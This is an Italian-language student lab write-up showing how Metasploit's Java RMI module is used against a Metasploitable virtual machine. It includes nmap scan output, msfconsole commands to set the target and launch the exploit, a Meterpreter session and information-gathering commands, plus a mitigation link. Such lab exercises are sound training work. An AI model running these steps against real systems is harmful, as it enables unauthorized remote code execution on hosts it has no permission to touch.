# **Progetto Metasploit**

Nel progetto di oggi sfrutteremo un servizio vulnerabile nella porta 1099 - Java RMI(Remote Method Invocation), attraverso Metasploit, una piattaforma per lo sviluppo di software che si può utilizzare anche per effettuare Vulnerability Assesment sulle macchine target. Creando anche una sessione utilizzando un payload che prende il nome di Meterpreter, esso ci permette di eseguire comandi nella macchina target.(Es: navigare nel filesystem).

Un payload nel contesto di Metasploit è un frammento di codice malevolo che viene eseguito da un exploit verso la macchina target.

Andiamo ora a differenziare Malware ed Exploit:

#### Malware:

Definizione: Malware è un termine ampio che comprende qualsiasi tipo di software progettato per danneggiare o sfruttare i sistemi o le reti informatiche. Include una varietà di programmi malevoli, come virus, worm, trojan, ransomware, spyware e altri ancora.

Scopo: il malware viene creato con l'intento di causare danni, rubare informazioni sensibili o ottenere un accesso non autorizzato ai sistemi informatici. Può essere distribuito attraverso vari mezzi, tra cui allegati di posta elettronica, siti Web infetti, download dannosi o supporti rimovibili.

## Exploit:

Definizione: Un exploit, invece, si riferisce a una tecnica specifica o a un pezzo di codice che sfrutta una vulnerabilità o una debolezza in un'applicazione o in un sistema software. Gli exploit sono spesso utilizzati dagli aggressori per ottenere un accesso non autorizzato, eseguire codice arbitrario o altre attività dannose su un sistema mirato.

Scopo: gli exploit sono essenzialmente i mezzi con cui vengono sfruttate le vulnerabilità. Possono puntare a bug del software, punti deboli della sicurezza o configurazioni errate per compromettere un sistema. Gli exploit possono far parte di un payload di malware o essere strumenti autonomi utilizzati dagli aggressori durante la fase di sfruttamento di un attacco.

Proseguiamo adesso con lo svolgimento del progetto.

1) Assicuriamoci che le due macchine riescano a comunicare ed eseguiamo una scansione attraverso Nmap, un tool che restituisce informazioni riguardo il sistema in base alla tipologia di attacco considerato.

```
(gippo⊛kali)-[~]
  -$ ping 192.168.50.101
PING 192.168.50.101 (192.168.50.101) 56(84) bytes of data.
64 bytes from 192.168.50.101: icmp_seq=1 ttl=64 time=0.735 ms
64 bytes from 192.168.50.101: icmp_seq=2 ttl=64 time=2.10 ms
64 bytes from 192.168.50.101: icmp_seq=3 ttl=64 time=0.490 ms
^c
   192.168.50.101 ping statistics
3 packets transmitted, 3 received, 0% packet loss, time 2001ms
rtt min/avg/max/mdev = 0.490/1.108/2.099/0.707 ms
  -(gippo⊛kali)-[~]
$ nmap -sV 192.168.50.101
Starting Nmap 7.94 (https://nmap.org) at 2023-11-10 07:26 EST
Nmap scan report for 192.168.50.101
Host is up (0.057s latency).
Not shown: 977 closed tcp ports (conn-refused)
        STATE SERVICE
PORT
                            VERSION
21/tcp
                            vsftpd 2.3.4
         open ftp
                            OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
22/tcp
         open ssh
23/tcp
         open telnet
                            Linux telnetd
25/tcp
         open smtp
                            Postfix smtpd
53/tcp
         open domain
                            ISC BIND 9.4.2
                          Apache httpd 2.2.8 ((Ubuntu) DAV/2)
80/tcp
         open
               http
               rpcbind
111/tcp open
                             2 (RPC #100000)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp open exec
                            netkit-rsh rexecd
513/tcp open login?
                           Netkit rshd
514/tcp open shell
1099/tcp open
               java-rmi
                           GNU Classpath grmiregistry
1524/tcp open bindshell Metasploitable root shell
2049/tcp open nfs
                            2-4 (RPC #100003)
                            ProFTPD 1.3.1
2121/tcp open ftp
                            MySQL 5.0.51a-3ubuntu5
3306/tcp open mysql
5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open vnc
                            VNC (protocol 3.3)
6000/tcp open X11
                             (access denied)
                            UnrealIRCd
6667/tcp open
8009/tcp open
                            Apache Jserv (Protocol v1.3)
               ajp13
               unknown
8180/tcp open
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CP E: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 190.91 seconds
```

2) Successivamente avviamo il framework di metasploit, cercando l'exploit da noi preso in considerazione. (1099, Java-rmi)



Selezioniamo l'exploit 1(use "1" o "/path"), lasciando il payload configurato di default.

Fatto questo notiamo che nella tabella options, alcuni attributi "required" non sono configurati. E' importante al fine dello sfruttamento delle vulnerabilità, che la macchina target sia definita.

3) con il comando "set RHOTS ip\_meta" definiamo il target, assicuriamoci poi che la modifica sia stata effetttuata.

Se l'exploit andrà a buon fine riusciremo ad aprire una sessione tra Kali(attaccante) e Metasploit(vittima).

Di conseguenza sfruttando la vulnerabilità del servizio è stata instaurata una sessione attraverso la quale avvieremo una fase di "information gathering".



# Java RMI Server Insecure Default Configuration Java Code Execution

Questo modulo sfrutta la configurazione predefinita dei servizi RMI Registry e RMI Activation, che consentono di caricare le classi da qualsiasi URL remoto (HTTP). Poiché invoca un metodo del Garbage Collector distribuito RMI, disponibile attraverso ogni endpoint RMI, può essere utilizzato sia contro rmiregistry che contro rmid e anche contro la maggior parte degli altri endpoint RMI (personalizzati). Si noti che non funziona con le porte Java Management Extension (JMX), poiché queste non supportano il caricamento remoto delle classi, a meno che non sia attivo un altro endpoint RMI nello stesso processo Java. Le chiamate di metodo RMI non supportano né richiedono alcun tipo di autenticazione.

### Comandi utili:

- -nmap -sV ip\_meta(Restituisce versione e porte aperte al momento della scansione)
- -msfconsole(Avvia il framework)
- -search java\_rmi(Keyword attraverso la quale possiamo andare a scegliere e visionare gli elementi di nostro interesse)
- -use /path(Seleziona l'exploit)

- -show options(Mostra informazioni rilevanti per il funzionamento dell'exploit stesso)
- -set RHOSTS ip\_meta(Setta l'ip remoto del dispositivo da noi scelto)
- -exploit(Avvia l'exploit)
- -if config(configurazione della macchina)
- -route(tabella di route)
- -sysinfo(recupera le informazioni di sistema)

Link utili per la mitigazione della vulnerabilità:

• <a href="https://docs.oracle.com/javase/8/docs/technotes/guides/rmi/rmi\_security\_recommendation\_s.html">https://docs.oracle.com/javase/8/docs/technotes/guides/rmi/rmi\_security\_recommendation\_s.html</a>

